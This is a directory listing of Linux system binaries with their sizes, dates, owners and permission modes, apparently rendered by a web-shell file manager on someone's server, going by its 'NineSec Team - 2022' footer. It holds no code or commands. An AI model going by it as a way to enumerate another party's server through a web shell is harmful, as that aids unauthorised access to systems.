remove-shell
0.883 KB
December 07 2019 3:13:44
root
0755
repquota
83.281 KB
April 09 2019 10:12:04
root
0755
rmail
18.148 KB
January 29 2024 9:49:03
root
0755
rmt
58.547 KB
December 05 2023 6:16:50
root
0755
rmt-tar
58.547 KB
December 05 2023 6:16:50
root
0755
rndc
42.305 KB
September 19 2023 1:22:19
root
0755
rndc-confgen
26.305 KB
September 19 2023 1:22:19
root
0755
rpc.rquotad
87 KB
April 09 2019 10:12:04
root
0755
rsyslogd
710.203 KB
May 03 2022 10:48:35
root
0755
rtcwake
46.227 KB
May 30 2023 5:42:35
root
0755
sasl-sample-server
22.563 KB
February 15 2022 9:03:43
root
0755
saslauthd
102.797 KB
February 15 2022 9:03:43
root
0755
sasldbconverter2
18.375 KB
February 15 2022 9:03:43
root
0755
sasldblistusers2
18.375 KB
February 15 2022 9:03:43
root
0755
saslpasswd2
14.367 KB
February 15 2022 9:03:43
root
0755
saslpluginviewer
18.438 KB
February 15 2022 9:03:43
root
0755
sefcontext_compile
66.508 KB
February 26 2020 6:10:57
root
0755
selabel_digest
14.305 KB
February 26 2020 6:10:57
root
0755
selabel_get_digests_all_partial_matches
14.305 KB
February 26 2020 6:10:57
root
0755
selabel_lookup
14.305 KB
February 26 2020 6:10:57
root
0755
selabel_lookup_best_match
14.305 KB
February 26 2020 6:10:57
root
0755
selabel_partial_match
14.305 KB
February 26 2020 6:10:57
root
0755
select-default-ispell
3.226 KB
November 15 2018 4:24:46
root
0755
select-default-wordlist
3.207 KB
November 15 2018 4:24:46
root
0755
selinux_check_access
14.305 KB
February 26 2020 6:10:57
root
0755
selinux_check_securetty_context
14.305 KB
February 26 2020 6:10:57
root
0755
selinuxenabled
14.305 KB
February 26 2020 6:10:57
root
0755
selinuxexeccon
14.305 KB
February 26 2020 6:10:57
root
0755
sendmail
34.305 KB
January 29 2024 9:49:03
root
0755
sendmail_bitninja
0.478 KB
February 12 2024 9:11:41
root
6755
sensors-detect
212.977 KB
March 31 2022 10:52:36
root
0755
service
9.045 KB
June 21 2019 8:56:55
root
0755
setenforce
14.305 KB
February 26 2020 6:10:57
root
0755
setfilecon
14.305 KB
February 26 2020 6:10:57
root
0755
setquota
95.25 KB
April 09 2019 10:12:04
root
0755
setvesablank
14.07 KB
May 09 2019 5:22:51
root
0755
smtp-sink
35.086 KB
January 29 2024 9:49:03
root
0755
smtp-source
30.172 KB
January 29 2024 9:49:03
root
0755
spamd
127.404 KB
March 24 2023 5:36:49
root
0755
split-logfile
2.358 KB
October 26 2023 3:54:09
root
0755
sshd
863.789 KB
January 02 2024 6:13:02
root
0755
tarcat
0.914 KB
December 05 2023 6:16:50
root
0755
tcpdump
1019.758 KB
February 10 2023 12:34:14
root
0755
testsaslauthd
18.305 KB
February 15 2022 9:03:43
root
0755
thin_check
1.29 MB
February 08 2020 12:20:35
root
0755
thin_delta
1.29 MB
February 08 2020 12:20:35
root
0755
thin_dump
1.29 MB
February 08 2020 12:20:35
root
0755
thin_ls
1.29 MB
February 08 2020 12:20:35
root
0755
thin_metadata_size
1.29 MB
February 08 2020 12:20:35
root
0755
thin_repair
1.29 MB
February 08 2020 12:20:35
root
0755
thin_restore
1.29 MB
February 08 2020 12:20:35
root
0755
thin_rmap
1.29 MB
February 08 2020 12:20:35
root
0755
thin_trim
1.29 MB
February 08 2020 12:20:35
root
0755
togglesebool
14.305 KB
February 26 2020 6:10:57
root
0755
tsig-keygen
26.297 KB
September 19 2023 1:22:19
root
0755
tzconfig
0.104 KB
January 02 2024 8:24:29
root
0755
ufw
4.82 KB
July 17 2023 4:14:04
root
0755
update-ca-certificates
5.291 KB
May 18 2023 3:09:37
root
0755
update-default-aspell
1.004 KB
November 15 2018 4:24:46
root
0755
update-default-ispell
9.678 KB
November 15 2018 4:24:46
root
0755
update-default-wordlist
7.5 KB
November 15 2018 4:24:46
root
0755
update-dictcommon-aspell
1.004 KB
November 15 2018 4:24:46
root
0755
update-dictcommon-hunspell
0.764 KB
November 15 2018 4:24:46
root
0755
update-gsfontmap
0.459 KB
October 12 2023 3:06:46
root
0755
update-icon-caches
0.582 KB
February 15 2022 6:50:52
root
0755
update-info-dir
1.66 KB
October 11 2019 12:32:01
root
0755
update-locale
2.991 KB
June 16 2023 12:22:06
root
0755
update-mime
9.182 KB
October 19 2019 1:05:50
root
0755
update-passwd
34.563 KB
December 17 2019 12:51:51
root
0755
update-pciids
1.711 KB
April 01 2021 12:55:11
root
0755
update-rc.d
16.759 KB
June 21 2019 8:56:55
root
0755
useradd
143.711 KB
November 29 2022 12:53:10
root
0755
userdel
98.891 KB
November 29 2022 12:53:10
root
0755
usermod
139.492 KB
November 29 2022 12:53:10
root
0755
uuidd
42.305 KB
May 30 2023 5:42:35
root
0755
validatetrans
14.305 KB
February 26 2020 6:10:57
root
0755
validlocale
1.731 KB
August 02 2022 5:34:43
root
0755
vcstime
13.992 KB
May 09 2019 5:22:51
root
0755
vigr
68.555 KB
November 29 2022 12:53:10
root
0755
vipw
68.555 KB
November 29 2022 12:53:10
root
0755
virtualmin
1.325 KB
February 12 2024 9:10:53
root
0755
visudo
218.195 KB
April 04 2023 1:56:28
root
0755
vpddecode
18.578 KB
December 23 2019 6:56:41
root
0755
warnquota
95.125 KB
April 09 2019 10:12:04
root
0755
xqmstats
13.992 KB
April 09 2019 10:12:04
root
0755
xtables-legacy-multi
96.969 KB
May 09 2023 8:39:57
root
0755
xtables-monitor
215.32 KB
May 09 2023 8:39:57
root
0755
xtables-nft-multi
215.32 KB
May 09 2023 8:39:57
root
0755
zabbix_agentd
481.617 KB
February 04 2020 5:03:41
root
0755
zic
62.289 KB
November 22 2023 2:32:50
root
0755

NineSec Team - 2022